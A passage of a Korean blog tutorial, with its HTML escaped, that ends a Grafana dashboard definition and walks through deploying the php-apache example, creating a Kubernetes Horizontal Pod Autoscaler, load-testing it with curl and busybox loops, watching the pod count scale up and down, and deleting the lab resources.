/&gt;&amp;nbsp;&amp;nbsp;&quot;schemaVersion&quot;:&amp;nbsp;18,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;style&quot;:&amp;nbsp;&quot;dark&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;tags&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;templating&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;list&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;current&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;Prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;&quot;Prometheus&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;includeAll&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;label&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;multi&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;datasource&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refresh&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;regex&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;skipUrlSync&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;datasource&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;allValue&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;current&quot;:&amp;nbsp;{},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;&quot;$datasource&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;definition&quot;:&amp;nbsp;&quot;label_values(kube_horizontalpodautoscaler_metadata_generation{job=\&quot;kube-state-metrics\&quot;},&amp;nbsp;namespace)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;includeAll&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;label&quot;:&amp;nbsp;&quot;Namespace&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;multi&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;namespace&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;&quot;label_values(kube_horizontalpodautoscaler_metadata_generation{job=\&quot;kube-state-metrics\&quot;},&amp;nbsp;namespace)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refresh&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;regex&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;skipUrlSync&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tagValuesQuery&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tags&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tagsQuery&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;query&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;useTags&quot;:&amp;nbsp;false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;allValue&quot;:&amp;nbsp;null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;current&quot;:&amp;nbsp;{},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;&quot;$datasource&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;definition&quot;:&amp;nbsp;&quot;label_values(kube_horizontalpodautoscaler_labels{job=\&quot;kube-state-metrics\&quot;,&amp;nbsp;namespace=\&quot;$namespace\&quot;},&amp;nbsp;horizontalpodautoscaler)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;includeAll&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;label&quot;:&amp;nbsp;&quot;Name&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;multi&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;horizontalpodautoscaler&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;&quot;label_values(kube_horizontalpodautoscaler_labels{job=\&quot;kube-state-metrics\&quot;,&amp;nbsp;namespace=\&quot;$namespace\&quot;},&amp;nbsp;horizontalpodautoscaler)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refresh&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;regex&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;skipUrlSync&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tagValuesQuery&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tags&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tagsQuery&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;query&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;useTags&quot;:&amp;nbsp;false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;time&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;from&quot;:&amp;nbsp;&quot;now-1h&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;to&quot;:&amp;nbsp;&quot;now&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;timepicker&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refresh_intervals&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;5s&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;10s&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;30s&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;1m&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;5m&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;15m&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;30m&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;1h&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;2h&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;1d&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;time_options&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;5m&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;15m&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;1h&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;6h&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;12h&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;24h&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;2d&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;7d&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;30d&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;timezone&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Kubernetes&amp;nbsp;/&amp;nbsp;Horizontal&amp;nbsp;Pod&amp;nbsp;Autoscaler&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;alJY6yWZz&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;version&quot;:&amp;nbsp;10,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;description&quot;:&amp;nbsp;&quot;A&amp;nbsp;quick&amp;nbsp;and&amp;nbsp;simple&amp;nbsp;dashboard&amp;nbsp;for&amp;nbsp;viewing&amp;nbsp;how&amp;nbsp;your&amp;nbsp;horizontal&amp;nbsp;pod&amp;nbsp;autoscaler&amp;nbsp;is&amp;nbsp;doing.&quot;&lt;br /&gt;}&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU 과부하 연산을 수행하는 파드를 배포합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711962651979&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Run and expose php-apache server
curl -s -O https://raw.githubusercontent.com/kubernetes/website/main/content/en/examples/application/php-apache.yaml
cat php-apache.yaml | yh
kubectl apply -f php-apache.yaml

# 확인
kubectl exec -it deploy/php-apache -- cat /var/www/html/index.php

# 모니터링 : 터미널2개 사용
watch -d 'kubectl get hpa,pod;echo;kubectl top pod;echo;kubectl top node'
kubectl exec -it deploy/php-apache -- top

# 접속
PODIP=$(kubectl get pod -l run=php-apache -o jsonpath={.items[0].status.podIP})
curl -s $PODIP; echo&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HPA를 생성하고 그라파나 대시보드를 통해 HPA에 대한 메트릭이 정상적으로 조회되는지 확인합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711986695197&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Create the HorizontalPodAutoscaler : requests.cpu=200m - 알고리즘
# Since each pod requests 200 milli-cores by kubectl run, this means an average CPU usage of 100 milli-cores.
kubectl autoscale deployment php-apache --cpu-percent=50 --min=1 --max=10
kubectl describe hpa

# HPA 설정 확인
kubectl get hpa php-apache -o yaml | kubectl neat | yh
spec: 
  minReplicas: 1               # [4] 또는 최소 1개까지 줄어들 수도 있습니다
  maxReplicas: 10              # [3] 포드를 최대 5개까지 늘립니다
  scaleTargetRef: 
    apiVersion: apps/v1
    kind: Deployment
    name: php-apache           # [1] php-apache 의 자원 사용량에서
  metrics: 
  - type: Resource
    resource: 
      name: cpu
      target: 
        type: Utilization
        averageUtilization: 50  # [2] CPU 활용률이 50% 이상인 경우&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오전 12.52.46.png&quot; data-origin-width=&quot;2592&quot; data-origin-height=&quot;1242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pojrh/btsGg2pRQmV/hR2Ra0nxMNLhgundxw4IE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pojrh/btsGg2pRQmV/hR2Ra0nxMNLhgundxw4IE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pojrh/btsGg2pRQmV/hR2Ra0nxMNLhgundxw4IE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpojrh%2FbtsGg2pRQmV%2FhR2Ra0nxMNLhgundxw4IE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2592&quot; height=&quot;1242&quot; data-filename=&quot;스크린샷 2024-04-02 오전 12.52.46.png&quot; data-origin-width=&quot;2592&quot; data-origin-height=&quot;1242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;부하 발생 후 오토 스케일링이 되는지 테스트합니다. 증가 시 기본 대기 시간은 30초이며 감소 시 기본 대기 시간은 5분입니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1711986735607&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 반복 접속 1 (파드1 IP로 접속) &amp;gt;&amp;gt; 증가 확인 후 중지
while true;do curl -s $PODIP; sleep 0.5; done

# 반복 접속 2 (서비스명 도메인으로 접속) &amp;gt;&amp;gt; 증가 확인(몇개까지 증가되는가? 그 이유는?) 후 중지 &amp;gt;&amp;gt; 중지 5분 후 파드 갯수 감소 확인
# Run this in a separate terminal
# so that the load generation continues and you can carry on with the rest of the steps
kubectl run -i --tty load-generator --rm --image=busybox:1.28 --restart=Never -- /bin/sh -c &quot;while sleep 0.01; do wget -q -O- http://php-apache; done&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오전 12.56.05.png&quot; data-origin-width=&quot;1210&quot; data-origin-height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lEOgw/btsGfxX9D1Y/EESFSubZPYAoWl0vH2HVWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lEOgw/btsGfxX9D1Y/EESFSubZPYAoWl0vH2HVWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lEOgw/btsGfxX9D1Y/EESFSubZPYAoWl0vH2HVWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlEOgw%2FbtsGfxX9D1Y%2FEESFSubZPYAoWl0vH2HVWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1210&quot; height=&quot;408&quot; data-filename=&quot;스크린샷 2024-04-02 오전 12.56.05.png&quot; data-origin-width=&quot;1210&quot; data-origin-height=&quot;408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반복 접속을 통해 파드의 개수가 계속해서 늘어나지만 7개까지만 가파르게 증가하고 더 이상 증가하지 않는 모습을 보입니다. 이는 파드가 스케일아웃되며 감당해야 할 부하의 총량이 떨어지기 때문에 감당가능한 파드의 개수까지만 증가되고 이후엔 유지하는 모습을 보입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오전 12.58.12.png&quot; data-origin-width=&quot;2598&quot; data-origin-height=&quot;1242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfb7W3/btsGffQPk4x/seN0EAhUS4VdtANTnvTKPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfb7W3/btsGffQPk4x/seN0EAhUS4VdtANTnvTKPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfb7W3/btsGffQPk4x/seN0EAhUS4VdtANTnvTKPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdfb7W3%2FbtsGffQPk4x%2FseN0EAhUS4VdtANTnvTKPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2598&quot; height=&quot;1242&quot; data-filename=&quot;스크린샷 2024-04-02 오전 12.58.12.png&quot; data-origin-width=&quot;2598&quot; data-origin-height=&quot;1242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반복 접속 종료 후 5분 정도가 지나고 나면 급격하게 파드의 개수가 감소하는 모습을 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오전 1.06.33.png&quot; data-origin-width=&quot;2604&quot; data-origin-height=&quot;1244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpBkTd/btsGfK36PY2/dXWlMGe3gpBcjLc3W0XME1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpBkTd/btsGfK36PY2/dXWlMGe3gpBcjLc3W0XME1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpBkTd/btsGfK36PY2/dXWlMGe3gpBcjLc3W0XME1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpBkTd%2FbtsGfK36PY2%2FdXWlMGe3gpBcjLc3W0XME1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2604&quot; height=&quot;1244&quot; data-filename=&quot;스크린샷 2024-04-02 오전 1.06.33.png&quot; data-origin-width=&quot;2604&quot; data-origin-height=&quot;1244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어를 통해 테스트에 사용한 모든 자원을 삭제합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711988134959&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl delete deploy,svc,hpa,pod --all&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-size: 1.44em; letter-spacing: -1px; font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif;&quot;&gt;KEDA - Kubernetes based Event Driven Autoscaler&lt;/span&gt;&lt;/p&gt;
